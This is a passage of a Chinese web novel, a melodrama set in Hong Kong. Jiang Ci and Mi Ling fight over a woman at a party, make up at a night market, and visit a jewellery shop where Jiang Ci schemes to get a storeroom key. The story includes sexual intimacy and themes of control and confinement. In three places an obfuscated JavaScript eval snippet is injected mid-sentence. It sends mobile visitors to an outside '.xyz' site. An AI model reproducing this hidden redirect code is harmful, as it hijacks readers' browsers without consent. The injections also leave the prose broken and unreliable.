客室里破碎的玻璃门换了新,刚买回来的黑丝绒沙发,配绣满蔷薇的醉红色抱枕,一架更重更大的金屏风立在周围,上面刻印着几朵富丽堂皇的牡丹,花花绿绿吵得人眼睛疼。 远处也闹腾得厉害,糜公馆头一回举办宴会,谁都来掺一脚,厅里东一堆西一堆挤满了衣着华丽的客人,更是花团锦簇,人语笑声浪一样翻卷过来。角落里还有一支小乐队,那吹号的人鼓起腮涨红了脸,狠狠一吐气,号声猛然奋起,破哑得仿佛老妪在哭嚎。 姜瓷听着只觉喘不上气,想出去透风,起身绕到沙发后,正要推玻璃门,不经意睇见了糜岭,就站在屏风外几米处,挽着一个一袭金红旗袍的女人,微微低着头听女人说话,笑意盈盈的。 他退到屏风后,捂着心口喘气。 上一次的闹剧之后,他与糜岭虽共处一个屋檐之下,可再没碰过面。一开始几天,他还对糜岭恨得牙痒痒,见不着,反而如了他的意,一门心思扑在偷库房钥匙上。可寻便了书房的抽屉柜子,所有能藏东西的地方,还是一无所获,他便猜测钥匙大约放在了店里。出不去糜公馆,更别说到店里偷钥匙了。事情原本或许还有补救的余地,可他偏偏惹糜岭生了气。 他焦心起来,忧虑与日俱增,整个人憔悴不少。白天他一个人吃饭写字,晚上半梦半醒之间,总能听见外面佣人叫“少爷”的声音,和手杖轻轻碰在地上的响动。等他披上衣服去开门,走廊上又是安安静静,一个人都瞧不见了。 那晚把话说得那么绝,他一直拉不下脸主动求和,就一直拖捱到了今日,本打算无论如何也要去找糜岭说些好听话撒撒娇了,谁承想看见他挽着其他人的场面。 他踉跄跌回沙发里,又想,糜岭与谁说笑与他又有什么关系,现在最要紧是拿到钥匙,接下来才能继续和周盛业做交易,才能继续下山,找到机会逃走。 他想着一会儿无论如何都要去找糜岭说话,一边端起面前一杯酒一饮而尽。不知什么酒,喝起来直割喉咙,火辣辣烧胃,一下子激得他头昏眼花,满面热红。 这时候忽然听见屏风后迸发出一阵狂乱的笑,又高又细的女人嗓音,把破哑的小号声响都打压下去,边笑还边说:“我站得腿都酸了,坐会儿再来!” 话音刚落,便有人从屏风后现身,原来就是挽着糜岭的那个金红旗袍。她挂着满身金碧辉煌的首饰,耳坠和项链都是流苏样式,牵牵绊绊扯了几绺头发,她两只手腕上也各戴着三四个细细的麻花金镯子,动一动手臂,那些镯子就颤动起来,叮叮当当一阵乱响。 她坐到沙发上,先甩了高跟鞋,把脚搭在矮几边活动着脚趾,自言自语道:“这双鞋怎么这样挤脚,买小了么。” 说完了,似乎才看见坐在一边的姜瓷,“呀”地叹了一声,上下打量姜瓷几眼,又同方才那般笑开了,说:“是你,你怎么一个人躲在这儿?刚才小舅舅他一直在我耳边念叨你,急着你没有吃饭,说你病了好几天了,对了,他还说这场宴会就是为了你才办的,你怎么不去玩呢?” 一大段话,姜瓷只听进去那声“小舅舅”,便以为她和自己一样,曾经与陈青柏有关系,现下又与糜岭纠缠不清,一时间羞愤至极,脸上红了又白,当下哪还有去向糜岭求和的心思,再坐不住,起身便要回房。 女人连忙来拽他,道:“别走呀,你与我说说话,我有好多事想问你!” 她芊芊两只手,春葱似的嫩脆,指甲尖长,血一样的红,往姜瓷手腕上一掐,针刺似的。 姜瓷喝了酒浑身发软,挣了几下没挣开,只好又坐了回去,心里极不痛快,瞄见矮几上的酒壶,一把抓过来就往嘴边凑,壶嘴里滴溜溜滑出一串水,没到嘴里,全浇脸上了。 女人又笑起来:“你都醉成这样了,还是别喝了,一会儿叫小舅舅知道,他准生气。” 姜瓷僵着脸没应声,拿手背胡乱抹了抹脸,手上又蹭得全是酒渍,孩子气地再往衣服上揩,揩不干净,干脆去舔,粉软的唇舌,白玉似的腕,雪白滚圆的手臂轻轻抬着,露出零星膀子,肉颤颤直腻人眼睛。 女人说:“小舅舅说你是个大美人,现在我一瞧,果然一点儿不错。我叫卿卿,孟卿卿。” 姜瓷醉眼朦胧地睨她一眼,仍不搭话,还举起酒壶往嘴里灌酒,喝倒在沙发上,迷迷糊糊想睡觉,可耳边总响着那聒噪的号声,还是睁开眼坐了起来,马上又听到远处爆出雷鸣般的喝彩,倾身望出屏风外,孟卿卿不知道什么时候去到了客厅,厅中央两张红木椅子并在一起,她正站在上面扭着身子唱歌。 人群里三层外三层,展开的纸折扇一样围在周遭,糜岭则一个人站在孟卿卿背后,离得很近,在她摆臂的时候总抬起手虚虚地拢一下她后背,生怕她跌跤的一副紧张样子。 姜瓷低下头,揪紧了手里的蔷薇抱枕,再抬眼去看卿卿。 天花板上一盏灯,光线灼亮,像喷出一蓬火来,直往孟卿卿身上燎。可是她一身大金大红,高跟鞋也是红的,本就是团火了,不怕烧,扭起腰来蛇一样地游来游去,两臂高举,带着肩膀猛地一颠,屁股跟着一晃,那件金红旗袍刷啦翻涌起来,露出里子,仍是火红一片,掀出的火星子往人群里溅,人人都探出手想来摸她。 她笑起来,花枝乱颤的,影子也美轮美奂,袅娜聘婷,被灯光引着送到糜岭怀里去。忽然她一个转身,面向糜岭,也不知有意还是无意,一脚踏了空,身子往前一倾,真的把自己往糜岭怀里倒去。 姜瓷立刻收回视线,松开一直握着的拳头,盯着掌心里指甲掐出的几个小月牙出神。过了半晌,他扶着沙发站起来,推开玻璃门走了出去。冷风迎面打过来,吹得他清醒了些,可只这样站了一瞬,突然就被人拽住胳膊拉了回去,抬眼一瞧,是孟卿卿。 她说:“你到外面去做什么,多冷!他们要打麻将,小舅舅叫我叫上你一起玩,走吧,就等你了!” “我……不去!” “别呀,来玩嘛!” 她扯着姜瓷,姜瓷推着她,两人一直纠缠到了麻将桌边。孟卿卿高喊一声:“小舅舅,人我给你带来了!”接着姜瓷便觉得肩膀一沉,被她一双手死死按在了座位上,眼前模糊一片,搓牌的手与麻将混在一起,浪一样在桌上翻涌。 他定了定神,只得伸手摸牌,余光一瞥,才发现糜岭就站在孟卿卿身后,一只手搭在椅背上,指节暧昧地碰着她的脊背,另一手拄着手杖,杖上鎏金的花纹,被光一闪,直直地刺到他眼睛里。 他胸中一阵沉沉的钝痛,咬紧牙关隐忍下来,垂着发颤的眼皮,努力去分辨麻将牌上的花样。 刚住进金园时,周盛业找人教过他打麻将,可平日里哪能凑齐三个人陪他,一段时间之后也就把麻将搁置了,并不怎么会打,这会儿醉了酒,心里又郁结,更是没有心思,就随意丢了张牌出去。 轮过两个人,到了卿卿,她回头看一眼糜岭,嗔道:“小舅舅,你看我这幅烂牌!叫我怎么打?你帮我出出主意。” 糜岭便俯身凑近了看牌,离她那么近,下巴几乎抵在她蓬乱的头发上,认真思忖了好一会儿,才伸手推倒一张牌,说:“若是赢了这一圈,可得分我一半的赢钱。” 卿卿马上不满地叫道:“我与你的关系,还要分得这么清楚么!你堂堂陈家少爷,计较一圈麻将的赢钱,传出去多不好听!” “卿卿啊,你这张嘴真是……”糜岭笑起来,像平日里拨弄姜瓷头发时那样,抬手在她脑后轻轻一抚,很快地重新把手搭上了椅背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831045|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜瓷把他的动作看得清楚,头昏目眩地僵坐着,把牌紧掐在手里,要戳出个窟窿般的挣着指尖,指甲都劈开了几个。 卿卿见他一动不动,便拿手肘碰他,甩着臂上层层叠叠的金镯,整个牌桌洋洋洒洒落了一片碎金的光。 “到你啦!”她在他耳边高声地叫。 他把手里的牌推出去,撑着昏沉沉的脑袋沉沉喘了一下,更眩晕了,酒意泛上来直冲脸颊,两眼发热,朦朦胧胧觉得卿卿身上金红旗袍燃起了火,烧到自己身上,吓得心惊肉跳,两臂发软,已是连牌都摸不起来了。 卿卿却又在那叫起来:“真没法打呀,小舅舅你想想办法!” 糜岭再弯下腰看她的牌,脸庞被她一身金红色映得又旺又热,替她打了张牌。她嬉笑起来,挥舞起手臂,腕上金镯又丁零当啷,金光乱窜,火星子蹦到姜瓷脸颊上。 他浑身冒汗,后背潮了一片,脱力地将手垂在桌上。可卿卿摇着满臂金镯又凑近了。到你啦,她说。火苗烧到他身上,指头上,蔓到桌布,烧得眼前全是烫热的飞灰。啪啪啪几下麻将的响。卿卿又在说了,小舅舅替我出牌吧。糜岭的手碰着她薄薄的背,脸上映着金红的光,骨节分明的手打出一张牌。赢了可得分我一半的钱啊。我与你的关系,还要分得这么清楚么。糜岭笑着去摸她凌乱的头发,像抚弄他的一样。小宝,宝宝,他抚弄他汗湿的头发,你病了,喝了药乖乖睡一觉。灯好亮,他哭着抱怨道,眼睛痛,不要亮。暗下来了,糜岭的手掌掩在他眼睛上。不要,他还是哭,不要走。糜岭便柔声地哄他,小宝,我哪都不去,你先把药喝了。苦吗,那舅舅买糖人给你吃好不好。糜岭紧紧搂着他,吻他脸颊,你为什么要出去小宝,你出去了,马上叫人捉回山上。在松树下,他像提溜着小猫似的拧着他后脖颈,小宝要逃跑吗,瞪着一双刀般寒光凛凛的眼睛,不许你出门,他不容辩驳地说,你不乖不听话,砸得家里乱糟糟,你一个人吃饭睡觉吧。到你啦。我与你还要分得这么清楚么。糜岭挽着个金红旗袍的女人,她身上乱窜的金光,踩在凳子上又唱又跳,柔艳地扭着腰往糜岭怀里倒。卿卿啊—— “卿卿,这一圈的钱到底是给你赢去了呀!”桌上另外一个陪客从皮包里掏出一叠钞票来,递到卿卿手上。 卿卿握着钱笑,朝姜瓷摊开了掌心,说:“就你没给啦。” 姜瓷渐渐缓过了神,觉得一口气吊在喉咙里吐出不来,心痛得厉害,恍惚着轻轻摇了摇头,喃喃说:“我、我身上没有钱……” “可是你输了,总要给我些什么吧!” 姜瓷睁大了泛着泪光的血红的一双眼睛,翅膀似的睫羽扑棱棱扇飞着,仿佛暴雨中一只鸟,危急地四处扑撞了一阵,终于飞到了糜岭那儿。这一个混乱的夜晚,两人第一次对上视线。糜岭望他一眼就阖下了眼帘。 姜瓷也垂下了头。 他浑浑噩噩地想,没关系,没事的,不要说话,什么都不要说,安静地乖乖地回房里拿些钱就好,手包里应该有王妈塞进去应急的钞票,别哭,不能再闹脾气了,就依顺着糜岭吧,没了他就下不了山了,他身边再有十个八个伴又怎么了,轮不到自己说话……我可是个无情无义的娼,利用、欺瞒、暗害,这些才是我该做的事情,怎么要同不相干的人争风吃醋呢。 他攥紧了手心,正要说话,却听见糜岭在那头与卿卿聊开了。 卿卿说:“小舅舅,明日你陪我到绸缎庄裁衣服吧,我要把赢的这些钱花光。” “好好,正好我也没什么事情要做,中午到醉生楼去,我记得你最喜欢吃那儿的叉烧。” 孟卿卿拍着手笑:“不错不错,小舅舅你从来都这样好!” 姜瓷一阵阵耳鸣,扶着昏昏的脑袋,冷冷笑了一声。 27. 27 湾仔的夜市 他摘下耳上的翡翠坠子,递过去给卿卿,忽而又收回了手,只把其中一只摆在桌上,另一只捏着举到了糜岭跟前。 他颤声说:“我差点忘了,三少爷要分一半,正好我这两只坠子,你们一人拿一只,凑在一起便是一对,多般配。” 糜岭蹙起眉,没有去接,握着手杖的手绷紧了,都爆出青筋来,也不知道在生什么气。 姜瓷便将坠子往桌上一扔,哽咽着说:“我要回金园,我现在就要回……我不陪你玩了糜岭,卿卿,爱爱,甜甜,随便你找谁去吧,我不陪你玩了!” 糜岭闻言神色一凛,哪想到今晚做过了头,逼得他要走,立刻来拽他。他侧身一躲,转头就往外跑,一口气跑到院子里,胸中火烧似的,喉咙里往上泛血腥,迷迷瞪瞪险些在草地上绊一跤,趔趄着继续往前,踏上石径,没两步还是被握住了手腕。 甩不开糜岭,他哭出声来,有些崩溃地喊:“你要干嘛,你到底要干嘛!今晚在我面前做那么多,叫那个人过来,不就是为了逼我走吗,上一回我说那些话做了那些事,你生气了,好,你生气就直说,你可以直接赶我走,为什么当着我的面……我马上就走,也不要你送我,也不要周盛业来接,我走出去,就让那些人抓了我送回山上!我不干了!你另外找个人当你的替身吧!你放手,放开我,我恨你,恨你!你别碰我!” 糜岭又听到他说“我恨你”,心头一震,原本满肚子要倾吐的话一下子全散了。他松手放姜瓷走出去几步,但见他的背影那样笔挺而坚决,仿佛走了真的再也不会回来,还是再追上去,紧牵着他到大门口,等在坡道上。 不一会儿管家出来找他,他说:“叫司机来开车。” 姜瓷以为真的要回山上去了,心中一片凄怆,怔愣愣地看向远处几盏街灯。 坐上了车,糜岭抱他坐在腿上,轻拍着他的背哄他,颠颠簸簸的,他没一会儿就睡着了,迷迷糊糊听见热烈的哄闹声,睁开眼立刻被车窗外炽热的汽油灯刺了下眼睛。 糜岭把他往怀里按:“还想睡就再睡会儿,不想睡,我们下车去逛夜市。” 他懵懵懂懂地:“夜……夜市?” “嗯,湾仔这条街,年前年后几天,每晚都有夜市,什么都卖,客厅里一套粉彩花鸟瓷瓶,用来插花的那几个,是管家在这儿淘来的。” “哦,”他揉着眼睛清醒了一些,嗫嚅着说,“被我砸碎了……” 糜岭轻轻地笑一笑:“不要紧小宝,不值几个钱,砸了就砸了吧,不想睡了是不是?那我们下去玩。” “你不是要送我走么。” “我送你到哪去?你想出来玩……那就出来玩吧,舅舅不应该关着你,不过以后出来得和舅舅一起,你想骑车,也要叫我在边上,不能一个人到处乱跑,知道吗?” “我没有乱跑,那天我都跟你说了,我骑到松树那儿就会回去。”他抿紧了唇,又闹气脾气来,推了把糜岭,自顾自下了车,但很听话地没有乱走,等着糜岭来牵他。 街上人山人海,穿棉服的小老百姓,裹裘皮的官太太,父母与孩子,挽着手的夫妻,各种各样的人挤在窄小的巷道中,在摊位前走走停停。汽油灯照得这一片白昼似的雪亮。 他许多年没见过这样的场面了,心里期待着,可现在乍一瞧见,人太多,周围太乱,让他有些不知所措,不自觉拽紧了糜岭的手,但手心里许多汗,滑腻腻的,总是要从糜岭掌心滑脱出去。 两人心里都惴惴,生怕被挤散了互相寻不见,路过一个卖衣料的摊贩,糜岭便停下来买了一条丝巾,将两人的手绑在一起。 姜瓷说:“原来你记得我说的话。” “什么?” “我和妈妈逛集市,她也这样牵着我。” 他脸上还满是醉意,眼皮都泛着红,在人群里挤来挤去走了这一阵,鼻尖冒了汗。糜岭替他揩掉了,忍不住来吻他,柔声说:“你是我和她的宝贝,当然要看紧了,不能丢的。” 姜瓷眨着桃花似的醉意盎然的眼睛,终于笑了一下,紧紧挽住了他的手臂。 一路逛过来,买了许多小孩子的玩具,拨浪鼓,小风车,五颜六色的彩条,竹编的小狗小猫,小炮竹,还有些零嘴,果脯罐子抱了满怀,拿都拿不下了。 出了街,拐进另一条僻静的巷道,姜瓷担心糜岭要腿疼,就停了下来,两人靠在墙壁上休息。姜瓷拈了一个陈皮梅给他吃,说:“明天晚上还能来吗?” “能,别的地方舅舅也带你去。” 姜瓷搓着那只拨浪鼓玩,解释道:“我那天真的没有想逃跑,你不在,没有人陪我,我只能骑车玩了嘛,而且你上回说了会让我骑车的。” “是我不好,那天喝了点酒。你对我很重要宝宝,哪也不要去,好吗?” “我能去哪呢。”他轻轻回了一句,又捡一个陈皮梅咬在嘴里,仰头往糜岭唇边送。糜岭吻住他,把梅子咬过来,还缠着他绵绵地吻了一会儿,恋恋不舍地分开了,贴着他嘴唇:“小宝,你说恨我……是真心,还是赌气的话?” 姜瓷惘惘地看向他:“你喜欢的又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831046|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我,我爱你还是恨你,对你来说有区别吗?” 糜岭一时哑然了,梅子的酸味刺刺地戳痛着牙齿。沉默良久,他转而开始解释今晚的事:“卿卿她闹着要去我那儿玩,只能让她来了。她和青柏一起长大,一直喜欢青柏,不过她家里不同意她嫁,青柏也不愿意娶,婚事就没有成。她与我不是你想的那样。” “你——我听她也叫你小舅舅,还以为她和我一样……你故意拿她来气我!你怎么就要欺负我,这几天还不跟我说话不见我,刚才在麻将桌上,你还……” “你说恨我,我生怕你见了我又要生气,哪敢再去找你,见不着你,舅舅饭都吃不下了,你倒是乖,饭也吃药也好好喝了,看见我和别的人一起,你也不吃醋,有闲情喝酒,还能打牌呢,看都不看我一眼,真是急人。你刚才叫我一声,我哪舍得不理你。什么一人一只坠子,凑在一起就是一对,这种话都说出来了,多气人。” “谁说我没吃——” 糜岭笑着问:“吃什么?” 姜瓷噘着嘴巴不答:“我说那些话也是你逼我的,我怎么就有闲情了,我明明就看你了,你自己和卿卿说悄悄话说得开心,哪有功夫管我。” “乱讲,我和她能怎么样,过几个月她就要结婚了。” “和谁?” 糜岭顿了一顿:“周盛业的儿子,叫周茂飞,你知不知道他?” “哦,是他……当初我和妈妈到香港来,被周盛业的太太知道了,她在家里闹上吊,差点真的死了。我听王妈说,她和她儿子特别恨我。可是我也不想做周盛业的孩子的,我从来没把周盛业当爸爸。” “宝宝,”糜岭摸摸他脸颊,“舅舅一定想办法让周盛业放你。” 姜瓷没应声,抬手搂住他脖子吻住他不让他再说话,可他还是啰嗦地念叨:“膝盖还痛不痛?摔着的地方养好没有?”一边拿手去摸,渐渐就变了味,把姜瓷的腿勾到臂弯上。 姜瓷攀在他身上,颤颤巍巍立不住,说:“回去再……” 糜岭便收回手,拿大衣裹住他,再与他接了个吻,牵着他往回走。重新回到热闹的街衢上,挤进人群之中,忽然街头开始炸焰火了,人人都停下来瞧。 姜瓷也抬头望着天,糜岭却静静望着他,看着他被焰火光印亮的脸,在嘭啪的爆炸声中,附在他耳边轻声说道:“姜瓷,不要恨我,好吗?” 也不知姜瓷听没听清,脸上没什么反应,只是在看见最大最亮的一朵焰火时摇了摇糜岭手臂,笑着望向他,说:“快看,好漂亮。” 28. 28 娇软不胜垂 “小宝,宝宝,起床了,不早了。” 姜瓷迷迷糊糊睁了睁眼,看见糜岭坐在床畔,已经穿戴整齐,像是要出门。 他打着哈欠喃喃地问:“你去哪?只陪我玩了几天,你又要去忙工作了?” “当然陪你,起来吃了饭,舅舅带你去找英嬅,”糜岭握住他脚踝轻轻捏了捏,“还疼不疼?昨天跟你说了街上人多,要小心脚下慢慢走,你不听,跑那么快崴了脚。” 他撇着嘴不说话,磨磨蹭蹭坐起来,又软绵绵倒进糜岭怀里,说:“过几天它自己就会好了,今天不想出去……我好累,都是你……” 他往糜岭怀里一蹭,糜岭低头吻他,摸上他的腰,说:“昨天总说疼,舅舅看看是不是伤着了。” 再要捏一捏,忽然姜瓷惊喘一声,绷紧了身子,说:“疼……疼!” 他俯身仔细去看,确实有一个小小的撕裂伤,隐隐渗着血。 他拿过外套罩在姜瓷身上,说:“现在就跟舅舅出去,我们到英嬅那儿叫她开点药,很快就回来。” 姜瓷看见他指尖上粘着几点血丝,有些无措,低下头说:“不要……我不想给她看我的身体。” “没事的宝宝。” “我说了我不去,我不要她看,我就是不要……不然你叫白医生过来。” 糜岭皱了皱眉:“周盛业的人,叫他来做什么,不要别人看,倒要他看?” “怎么了呢,我都给他看了五年。我和姐姐不熟悉,我觉得别扭嘛!” “还说。”糜岭拽他一下,他甩开糜岭的手,噘着嘴巴扭过了头。两人僵持片刻,还是糜岭服软,说:“好好,那么你在家,舅舅去找英嬅,说给她听了,她不看也能知道。还有……” “还有什么?哦,原来你真的是要去忙生意!” “只是去一趟店里宝宝,今天店里开工,舅舅看一眼马上就回来。这几天你不是总吵着要去看看么,本来想带你一起,你不舒服,只能算了。” “店……你要去店里?”姜瓷抬高了声音,立刻往他怀里扑,紧紧搂住了他肩膀,“那我也去,我跟你一起,我没不舒服。”眼看就要回金园了,他还没拿到库房的钥匙,现在再不出手,怕是没机会了。 “在家里躺着吧,不要折腾了,你喜欢什么首饰,跟舅舅说,舅舅带回来给你,你自己在家好好吃饭,”糜岭捧着他的脸又亲又咬,“过两天元宵节你又要回去了,说起来是两天,过起来一眨眼的功夫,舅舅真是一秒钟都舍不得跟你分开,宝宝。” 姜瓷立刻顺着他的话道:“所以我要跟你去呀,我也不想跟你分开,给英嬅姐姐看就看吧。”他贴着糜岭耳朵支支吾吾又讲:“而且,嗯……其他人都不像你……白医生或许不知道要怎么治。” 糜岭轻轻推开他,沉默着看了他片刻,冷笑着说:“是么,你倒是把每个人是如何一种情形都记得清楚。” “你以前还在我面前提陈青柏呢,我不想听,你非要说……现在我说了,你倒要生气。” 糜岭沉着脸不应声,姜瓷生怕他变卦不带自己去店里,只好又软绵绵地讨好他:“我的意思是,小舅舅最好,每次都最——” “越讲越没法听了!” “小舅舅……”姜瓷扯着他领带撒娇,搂着他肩吻他。糜岭被他一哄就晕头转向,带着他一起躺倒在床上。 等两人收拾好出门,已是晌午后了。 先去了百杏林药堂,英嬅却恰好出诊去了。糜岭叫药堂的伙计传话,说傍晚会再过来。再赶去珠宝店,将将在店门口下了车,忽然地下起雨来。糜岭护着姜瓷急匆匆进门,险些和出来的客人撞了个满怀,定睛一瞧,竟是英嬅,她身后还站着一个穿棕色呢大衣的男人,帽子压得低低的盖住了眼睛。 英嬅神色有些难堪,低了低头,但很快露了个笑,说:“真是巧……好久不见了,小瓷,你身体好些了吗?” 姜瓷点点头,眼睛不住地瞟向她身后的男人。那男人见英嬅与他们攀谈,便摘下了帽子。姜瓷这才发现他两鬓都白了,大约已是可以当英嬅父亲的那般年纪,戴一副银边眼镜,斯斯文文,但抿紧的一条线的嘴唇使他看起来又有种刀似的凛冽冷硬。 英嬅觉察到姜瓷直白的视线,似乎是想解释,但一副欲言又止的样子,始终没说出什么话来。 糜岭见状也没多问,只说:“来买东西?” “不,”英嬅连连摆手,侧头看一眼那男人,还是说出了口,“不是我买。这位是李先生,新近从大陆过来,对香港还不熟悉。他托我介绍一家银楼给他,我就带他来了这里。” 那李姓男人朝糜岭点一点头,没说什么话。 糜岭简短地客套了一声“幸会”,对英嬅道:“你先别急着走,姜瓷有点不舒服,你给他看看。” “好,那么李先生您请先回去吧。” 男人犹豫了一下,说了句“回见”便离开了。英嬅一眼都没瞧他,跟着糜岭往店后走,一径到了走廊底。糜岭推开一扇红木门,让他们两人进去,对英嬅说:“我在外面和伙计说点事情,一会儿结束了我让人送你回去。”又搂着姜瓷亲亲摸摸的,嘱咐道:“哪里痛全都和英嬅说清楚,她要看就给她看,乖乖的,有事就喊我,去吧。” 姜瓷进了门,在英嬅对面坐下。英嬅瞧见他衣领下几个吻痕,垂下眼说:“我看糜岭是爱上你了。” “姐姐干嘛取笑我,”姜瓷撇着嘴,“你也知道他把我当成别人的替代。” “其实……也没什么不好,你跟着他,在生活上总不会吃苦的。” 姜瓷立刻绷起脸来,不应声。英嬅自知失言,道:“对不起,我……唉……我……”她抓一下身上大衣的衣襟,又松开,几番下来把衣服都抓皱了,“刚刚那个男人,前一阵子他到医馆去,我给他抓了药,就认识了。他给了我许多诊金。今天他说他想买金器,请我参谋参谋,我想要还他人情,才带他来的。” “药堂的伙计说你出诊了。”姜瓷说。 “不然我如何交代呢,对他们说我与男人一起出来么,”她重重叹了一声,“谁知道他进店来,看了一圈都不满意,最后竟然叫伙计拿店里最大的钻石来。” 她从手包里掏出了什么摊在掌心,姜瓷瞄一眼,是只鸽子蛋钻戒。 姜瓷有些惊诧:“他要和你结婚?” “我不要,他非塞给我,结什么婚呢,我与他才认识多久,话都没说几句,而且他还不知道我有吝吝。” “可是姐姐在想,其实也没什么不好,对不对?”姜瓷直勾勾盯着她,咄咄逼人的,把这句话又还给她。 她脸色惨白,也没反驳:“年前我想给吝吝买一套新衣服,埋头在药馆里忙了好一阵子,结果赚到的钱也都被我哥哥拿去了,我就是想去绸缎庄给她裁身新衣服,买双新鞋,能好好过个年。可是他们不仅不给我钱,今年连一口热饭都不给我吃了。这个家,我也实在是待不下去了……” 她边说边默默地落泪,双眼定定地望着手里那硕大的戒指,空洞无神。见她这幅样子,姜瓷也没法继续生她的气,一边摘耳坠子和腕上的玉手镯,一边说:“给你,是出诊的费用。” 她眼泪流得更多了:“我总不能回回叫你接济我,而且我也还不起你这么大的人情……真是逼得人没法活了!”最后这一句她说得咬牙切齿,两手握着拳狠狠挣了一下,身子跟着抖了抖,原本梳得服帖的发髻散下来,落下几绺头发垂在颊边。 忽然间,姜瓷从她惨白的面容上看到了姜悦的影子,心头紧了紧。他说:“姐姐,你记不记得去年,在金园,你跟我说你想带吝吝离开这里。” 英嬅抬头看向他,有些惘然。 他倾身把耳坠和玉镯塞进她手里,紧紧握住了她的手,压低了声音说:“姐姐,你和吝吝,还有我,我们三个一起逃走吧。” 他眼睛像夜里的野火似的凶猛地燃烧跃动着,轰然烧过来,烧到英嬅面庞上。她像被烫着了般叫了一声,挣开了姜瓷的手,还来不及诧异,忽然门被推开了。两人都侧头望去,见着糜岭,又都很快低下了头。 糜岭见氛围不对,快步走过来抱住了姜瓷,问:“怎么了?” 英嬅揩着眼泪不说话。姜瓷倚着糜岭肩膀悄声说:“没什么,等会儿跟你说……姐姐还没给我看呢,你出去……” “出去做什么,正好我要听她说说你的伤。”他俯身去握姜瓷的脚踝,对英嬅道:“昨天扭了一下,有点肿,早上起来消了,但是他总说疼,我担心是不是伤到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831047|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨头了。” 英嬅拿手绢掩了下脸,起身来瞧,说:“能走路就应该没事,扭伤了是会疼一阵子的,我开点药让伙计送到你的公馆去。” “嗯,还有。”糜岭去掀姜瓷旗袍,姜瓷挣了一下,拽着他大衣衣角遮在腿上,涨红了脸抢着说:“姐姐,我、我……昨天他,就是晚上……” 英嬅不待他说完心里就已经明了,脸也倏地红了,沉默着走到桌前拿起笔写了几个字,递到姜瓷手里,轻声说:“那我就先走了。” “等等,你忘记拿东西了!”姜瓷抓起玉镯子往她手里塞,糜岭也从口袋里掏出一个巴掌大的锦盒,说:“给吝吝的新年礼物。”姜瓷不等她说话,一把拿过锦盒往她怀里放,含糊地说:“姐姐,你好好想想吧。” 英嬅沉默片刻,点了点头:“好,谢谢你。” 两人送英嬅出了店,又回到房间。姜瓷展开了英嬅给的纸条,要自己读。他也学了一阵子写字,把纸条的内容看了个七七八八,红着脸道:“上面说不许你再碰我了。” “真是这么说的?给舅舅看一眼。”糜岭一把抱住他往怀里按,来抢纸条,他笑着躲来躲去,最后撕了纸条往空中一抛,抓住糜岭的手,说:“那好吧,给你摸摸,其他的都不许做。” 糜岭就来回地摸他细软的手,问:“刚才和英嬅聊什么了?神神秘秘的。” “哪有。”姜瓷就把李先生与戒指的事说给他听了,道:“我叫姐姐不要嫁给那个男人,他那么老了,配不上姐姐。” 糜岭没马上应声,看向他的无名指,想起方才在外面,伙计拿出来给那李先生挑选的几只钻石戒指还没来得及收回去,他便顺道打量了几眼,有只八克拉的粉钻,戴在他手上一定极漂亮的。 “舅舅也比你老。”糜岭低声说。 姜瓷有些心不在焉,四处打量,看见了书桌上那个挂着锁的抽屉,随口应付道:“没有李先生那么老吧。” “宝宝。” 他扭过脸,一脸天真地说:“干什么呀,别说这个了,多没劲……你刚才都给吝吝新年礼物,我的呢?我可是你的宝宝,怎么能不给我?” “好好,给,我们到外面挑。” “外面那些有什么可看的,我刚才进来的时候扫了一眼,都不好。” “舅舅刚才看到一只粉钻戒指,你戴起来——” “我不要,我不喜欢。” “看都没看就不喜欢?” “别人也戴粉钻啊,我不要跟别人戴一样的,”他站起来走到书桌边,轻轻拨弄一下手边那抽屉上的锁,“这里锁着什么好东西啊?” 糜岭不答:“你想要不一样的,怎么不早跟舅舅说,那样我就把那条红宝石项链留给你了。” “那你给谁了?” “周盛业。” 姜瓷一愣:“你是说你们家的传家宝?” 糜岭走过去坐下来,揽过他的腰,握住了他把玩锁头的手,问:“谁告诉你的?” “佣人们都在说啊。” “一个个真是多嘴。” “那就没有别的了吗?陈家这么大家业,都寻不到一件我喜欢的东西?这个抽屉里藏着什么呀?不是好玩意儿干嘛锁着?”他又去碰那个锁,糜岭把他手拽回来:“抽屉这么小,里头能放什么。” “那你们家一定有大的库房存珠宝是不是?”姜瓷牵着他的手放在自己腰上,攀着他肩膀晃来晃去,撒着娇说:“你带我去嘛,我要去挑礼物,你都给吝吝,怎么能不给我,我要我要,我要!” 糜岭哄说:“库房哪能随便去,我们还是到外面挑一个,你没仔细瞧哪能知道没有喜欢的?嗯?好乖,听话小宝。” “我就知道我不喜欢,我要去库房里挑,那里有那么多珠宝钻石,肯定有我想要的。” 